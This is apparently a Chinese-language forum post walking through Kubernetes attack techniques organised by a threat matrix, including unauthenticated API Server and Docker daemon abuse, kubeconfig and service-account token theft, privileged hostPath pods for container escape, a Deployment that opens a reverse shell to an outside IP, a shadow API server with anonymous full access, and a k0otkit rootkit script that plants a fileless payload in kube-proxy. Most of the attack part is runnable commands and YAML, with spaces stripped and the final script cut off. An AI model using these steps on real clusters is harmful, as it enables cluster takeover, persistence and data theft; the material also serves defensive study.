Jump to content

隨著越來越多企業開始上雲的步伐,在攻防演練中常常碰到雲相關的場景,例如:公有云、私有云、混合雲、虛擬化集群等。以往滲透路徑是「外網突破- 提權- 權限維持- 信息收集- 橫向移動- 循環收集信息」,直到獲得重要目標系統。但隨著業務上雲以及虛擬化技術的引入改變了這種格局,也打開了新的入侵路徑,例如:

l通過虛擬機攻擊雲管理平台,利用管理平台控制所有機器

l通過容器進行逃逸,從而控制宿主機以及橫向滲透到K8s Master節點控制所有容器

l利用KVM-QEMU/執行逃逸獲取宿主機,進入物理網絡橫向移動控制雲平台

目前互聯網上針對雲原生場景下的攻擊手法零零散散的較多,僅有一些廠商發布過相關矩陣技術,但沒有過多的細節展示,本文基於微軟發布的Kubernetes威脅矩陣進行擴展,介紹相關的具體攻擊方法。

图片1.png

紅色標誌是攻擊者最為關注的技術點。

初始訪問lAPI Server未授權訪問

lkubelet未授權訪問

lDocker Daemon 公網暴露

lK8s configfile 洩露

API Server未授權訪問API Server作為K8s集群的管理入口,通常使用8080 和6443 端口,其中8080 端口無需認證,6443 端口需要認證且有TLS 保護。如果開發者使用8080 端口,並將其暴露在公網上,攻擊者就可以通過該端口的API,直接對集群下髮指令。

另一種場景是運維人員配置不當,將'system:anonymous'用戶綁定到'cluster-admin'用戶組,從而使6443端口允許匿名用戶以管理員權限向集群內部下髮指令。

#查看pods

https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500

#創建特權容器

https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444

{'apiVersion':'v1','kind':'Pod','metadata':{'annotations':{'kubectl.kubernetes.io/last-applied-configuration':'{\'apiVersion\':\'v1\',\'kind\':\'Pod\',\'metadata\':{\'annotations\'33 360{},\'name\':\'test-4444\',\'namespace\':\'default\'},\'spec\':{\'containers\':[{\'image\':\'nginx:1.14.2\',\'name\':\'test-4444\',\'volumeMounts\':[{\'mountPath\':\'/host\',\'n ame\':\'host\'}]}],\'volumes\':[{\'hostPath\':{\'path\':\'/\',\'type\':\'Directory\'},\'name\':\'host\'}]}}\n'},'name':'test-4444','namespace':'default'},'spec':{'containers': [{'image':'nginx:1.14.2','name':'test-4444','volumeMounts':[{'mountPath':'/host','name':'host'}]}],'volumes':[{'hostPath':{'path':'/','type':'Directory'},'name':'host'}]}}

#執行命令

https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami創建特權容器詳細解釋:

图片2.png

創建特權容器

K8s configfile 洩露K8s configfile作為K8s集群的管理憑證,其中包含有關K8s集群的詳細信息(API Server、登錄憑證)。

如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、洩露到Github 的代碼等),就可以直接通過API Server 接管K8s 集群,帶來風險隱患。

用戶憑證保存在kubeconfig 文件中,kubectl 通過以下順序來找到kubeconfig 文件:

1.如果提供了--kubeconfig參數,就使用提供的kubeconfig 文件。

2.如果沒有提供--kubeconfig 參數,但設置了環境變量$KUBECONFIG,則使用該環境變量提供的kubeconfig 文件。

3.如果以上兩種情況都沒有,kubectl 就使用默認的kubeconfig 文件$HOME/.kube/config。

拿到K8s configfile完整利用流程:

K8s configfile -- 創建後門Pod/掛載主機路徑-- 通過Kubectl進入容器-- 利用掛載目錄逃逸。

#Linux安裝kubectl

curl-LO'https://dl.k8s.io/release/$(curl-L-shttps://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl'

sudoinstall-oroot-groot-m0755kubectl/usr/local/bin/kubectl

#內容放入config、或指定選項,需要修改Server地址

kubectl--kubeconfigk8s.yaml

#獲取已接取的鏡像

kubectlgetpods--all-namespaces--insecure-skip-tls-verify=true-ojsonpath='{.image}'|tr-s'[[:space:]]''\n'|sort|uniq-c

#創建Podpod.yaml,將宿主機根目錄掛載host文件

apiVersion:v1

kind:Pod

metadata:

name:test-444

spec:

containers:

-name:test-444

image:nginx:1.14.2

volumeMounts:

-name:host

mountPath:/host

volumes:

-name:host

hostPath:

path:/

type:Directory

#在default命名空間中創建pod

kubectlapply-fpod.yaml-ndefault--insecure-skip-tls-verify=true

#進入容器中

kubectlexec-ittest-444bash-ndefault--insecure-skip-tls-verify=true

#切換bash,逃逸成功

cd/host

chroot./bashDocker Daemon 公網暴露Docker以C/S模式工作,其中docker daemon服務在後台運行,負責管理容器的創建、運行和停止操作。

在Linux主機上,docker daemon監聽在/var/run/docker.sock中創建的unix socket,2375端口用於未認證的HTTP通信,2376用於可信HTTPS通信。

在最初版本安裝Docker時默認會把2375端口對外開放,目前默認只允許本地訪問。

管理員開啟遠程訪問的配置如下:

#開啟遠程訪問

vim/lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd-Hfd://-Htcp://0.0.0.0:2375-containerd=/run/containerd/containerd.sockDocker Daemon未授權訪問的檢測與利用:

#探測是否訪問未授權訪問

curlhttp://192.168.238.129:2375/info

docker-Htcp://192.168.238.129:2375info

#推薦使用這種方式,操作方便。

exportDOCKER_HOST='tcp://192.168.238.129:2375'Docker Daemon未授權實戰案例:

图片3.png

執行l利用Service Account

nCURL方式請求

nkubectl方式請求

利用Service AccountK8s集群創建的Pod中,容器內部默認攜帶K8s Service Account的認證憑據,路徑為:(/run/secrets/kubernetes.io/serviceaccount/token)

如運維配置不當沒有設置RBAC(基於角色的訪問控制),那麼攻擊者就可以通過Pod獲取到Token進行API Server認證。

在較低版本v1.15.11中,Kubernetes默認是不會開啟RBAC控制,從1.16版本起,默認啟用RBAC訪問控制策略。從1.18開始,RBAC已作為穩定的功能。

下面就是利用Pod中的Token訪問API Server的一種場景:

#指向內部API服務器主機名

exportAPISERVER=https://${KUBERNETES_SERVICE_HOST}

#設置ServiceAccount令牌的路徑

exportSERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

#讀取pods命名空間並將其設置為變量。

exportNAMESPACE=$(cat${SERVICEACCOUNT}/namespace)

#讀取ServiceAccount不記名令牌

exportTOKEN=$(cat${SERVICEACCOUNT}/token)

#CACERT路徑

exportCACERT=${SERVICEACCOUNT}/ca.crt

執行以下命令查看當前集群中所有Namespaces。

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces

#寫入yaml,創建特權Pod

catnginx-pod.yamlEOF

apiVersion:v1

kind:Pod

metadata:

name:test-444

spec:

containers:

-name:test-444

image:nginx:1.14.2

volumeMounts:

-name:host

mountPath:/host

volumes:

-name:host

hostPath:

path:/

type:Directory

EOF

#創建pod

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-k${APISERVER}/api/v1/namespaces/default/pods-XPOST--header'content-type:application/yaml'--data-binary@nginx-pod.yaml

#查看信息

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces/default/pods/nginx

#執行命令

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=lscommand=-l

or

api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=lscommand=-lcontainer=nginxstdin=truestdout=truetty=true持久化lDaemonSets、Deployments

lShadow API

lRootkit

lcronjob持久化

Deployment創建容器時,通過啟用DaemonSets、Deployments,可以使容器和子容器即使被清理掉了也可以恢復,攻擊者經常利用這個特性進行持久化,涉及的概念有:

lReplicationController(RC)

ReplicationController確保在任何時候都有特定數量的Pod 副本處於運行狀態。

lReplication Set(RS)

Replication Set簡稱RS,官方已經推薦我們使用RS和Deployment來代替RC了,實際上RS和RC的功能基本一致,目前唯一的一個區別就是RC只支持基於等式的selector

lDeployment

主要職責和RC一樣,的都是保證Pod的數量和健康,二者大部分功能都是完全一致的,可以看成是一個升級版的RC控制器

官方組件kube-dns、kube-proxy也都是使用的Deployment來管理

這裡使用Deployment來部署後門

#dep.yaml

apiVersion:apps/v1

kind:Deployment#確保在任何時候都有特定數量的Pod副本處於運行狀態

metadata:

name:nginx-deploy

labels:

k8s-app:nginx-demo

spec:

replicas:3#指定Pod副本數量

selector:

matchLabels:

app:nginx

template:

metadata:

labels:

app:nginx

spec:

hostNetwork:true

hostPID:true

containers:

-name:nginx

image:nginx:1.7.9

imagePullPolicy:IfNotPresent

command:['bash']#反彈Shell

args:['-c','bash-i/dev/tcp/192.168.238.130/424201']

securityContext:

privileged:true#特權模式

volumeMounts:

-mountPath:/host

name:host-root

volumes:

-name:host-root

hostPath:

path:/

type:Directory

#創建

kubectlcreate-fdep.yamlShadow API Server如果部署了一個shadow apiserver,那麼該apiserver具有和集群中現在的apiserver一致的功能。同時開啟了全部k8s權限,接受匿名請求且不保存審計日誌,這將方便攻擊者無痕蹟的管理整個集群以及進行後續滲透行動。

Shadow API Server的配置與利用:

配置文件路徑:

/etc/systemd/system/kube-apiserver-test.service

#一鍵部署Shadowapiserver

./cdkrunk8s-shadow-apiserverdefault

#一鍵部署將在配置文件中添加瞭如下選項:

--allow-privileged

--insecure-port=9443

--insecure-bind-address=0.0.0.0

--secure-port=9444

--anonymous-auth=true

--authorization-mode=AlwaysAllow

#kcurl訪問與利用

./cdkkcurlanonymousgethttps://192.168.1.44:9443/api/v1/secretsRootkit這裡介紹一個k8s的rootkit,k0otkit 是一種通用的後滲透技術,可用於對Kubernetes 集群的滲透。使用k0otkit,您可以以快速、隱蔽和連續的方式(反向shell)操作目標Kubernetes 集群中的所有節點。

K0otkit使用到的技術:

lDaemonSet和Secret資源(快速持續反彈、資源分離)

lkube-proxy鏡像(就地取材)

l動態容器注入(高隱蔽性)

lMeterpreter(流量加密)

l無文件攻擊(高隱蔽性)

#生成k0otkit

./pre_exp.sh

#監聽

./handle_multi_reverse_shell.sh

k0otkit.sh的內容複製到master執行:

volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/containers:/{printNR}')

volume_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/volumes:/{printNR}')

image=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|grep'image:'|awk'{print$2}')

#createpayloadsecret

catEOF|kubectl--kubeconfig/root/.kube/configapply-f-

apiVersion:v1

kind:Secret

metadata:

name:$secret_name

namespace:kube-system

type:Opaque

data:

$secret_data_name:N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA.

#injectmaliciouscontainerintokube-proxypod

kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml\

|sed'$volume_line_numa\\\\\\-name:$volume_name\nhostPath:\npath:/\ntype:Directory\n'\

|sed'$ctr_line_numa\\\\\\-name:$ctr_name\nimage:$image\nimagePullPolicy:IfNotPresent\ncommand:[\'sh\']\nargs:[\'-c\',\'echo\$$payload_name|perl-e'my\$n=qq();my\$fd=syscall(319,\$n,1);open(\$FH,qq(=).\$fd);sele ct((select(\$FH),\$|=1)[0]);print\$FHpackq/H*/,my\$pid=fork();if(0!=\$pid){wait};if(0==\$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\']\nenv:\n-name:$payload_name\nvalueFrom:\nsecretKeyRef:\nname:$secret_name\n

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...